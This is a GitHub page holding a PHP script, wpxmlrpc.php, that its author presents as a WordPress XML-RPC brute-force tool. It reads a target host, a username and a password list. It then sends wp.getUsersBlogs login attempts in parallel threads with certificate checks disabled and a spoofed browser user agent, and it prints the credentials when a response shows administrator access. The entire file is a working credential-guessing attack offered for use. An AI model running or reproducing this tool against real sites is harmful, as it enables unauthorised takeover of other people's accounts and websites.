-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathwpxmlrpc.php
More file actions
76 lines (75 loc) · 2.61 KB
/
wpxmlrpc.php
File metadata and controls
76 lines (75 loc) · 2.61 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
/**
*Created By VanGans - SadCode Official :D
*Wordpress XMLRPC BruteForce
*Install Threads https://blog.programster.org/install-php-7-0-with-pthreads-on-ubuntu-16.04
*/
class SadCode extends Threaded{
private $host;
private $user;
private $pass;
private $type;
private $ch;
private $color = array();
public function __construct($host, $user, $pass){
$this->host = $host;
$this->user = $user;
$this->pass = $pass;
$this->color["green"] = "\033[0;32m";
$this->color["red"] = "\033[0;31m";
$this->color["blue"] = "\033[0;34m";
$this->color["white"] = "\033[0m";
}
public function run(){
$dataToPOST = "<?xml version=\"1.0\"?><methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>{$this->user}</value></param>
<param><value>{$this->pass}</value></param>
</params>
</methodCall>";
$meh = array(
CURLOPT_CONNECTTIMEOUT => 120,
CURLOPT_TIMEOUT => 120,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0"
);
$this->ch = curl_init();
curl_setopt_array($this->ch, $meh);
curl_setopt($this->ch, CURLOPT_URL, $this->host."/xmlrpc.php");
curl_setopt($this->ch, CURLOPT_POSTFIELDS, $dataToPOST);
$output = curl_exec($this->ch);
curl_close($this->ch);
if(preg_match("/isAdmin/i", $output)){
echo "{$this->color["blue"]}Trying With {$this->color["white"]}{$this->pass}{$this->color["green"]} Success...{$this->color["white"]}\n";
system("clear");
echo "{$this->color["blue"]}[!] Success Brute Force [!]{$this->color["white"]}\n";
echo "Host: {$this->host}\n";
echo "User: {$this->user}\n";
echo "Pass: {$this->pass}\n";
exit;
}
else{
echo "{$this->color["blue"]}Trying With {$this->color["white"]}{$this->pass}{$this->color["red"]} Failed...{$this->color["white"]}\n";
}
}
}
$pool = new Pool(4); // Change value for fast result :v
echo "\033[0;34m[!] Wordpress XMLRPC Brute Force\n\033[0m";
echo "\033[0;34m[!] Please Put host without /xmlrpc.php :D\n\033[0m";
echo "\033[0;34m[!] Created By VanGans - SadCode Official\n\033[0m";
$host = readline("Put HOST: ");
$user = readline("Put User: ");
$pass = readline("Put List: ");
$pwd = explode("\n", file_get_contents($pass));
foreach($pwd as $pwds){
$mek = $pool->submit(new SadCode($host, $user, $pwds));
if(preg_match("/Success/i", $mek)){
break;
}
}
while ($pool->collect());
$pool->shutdown();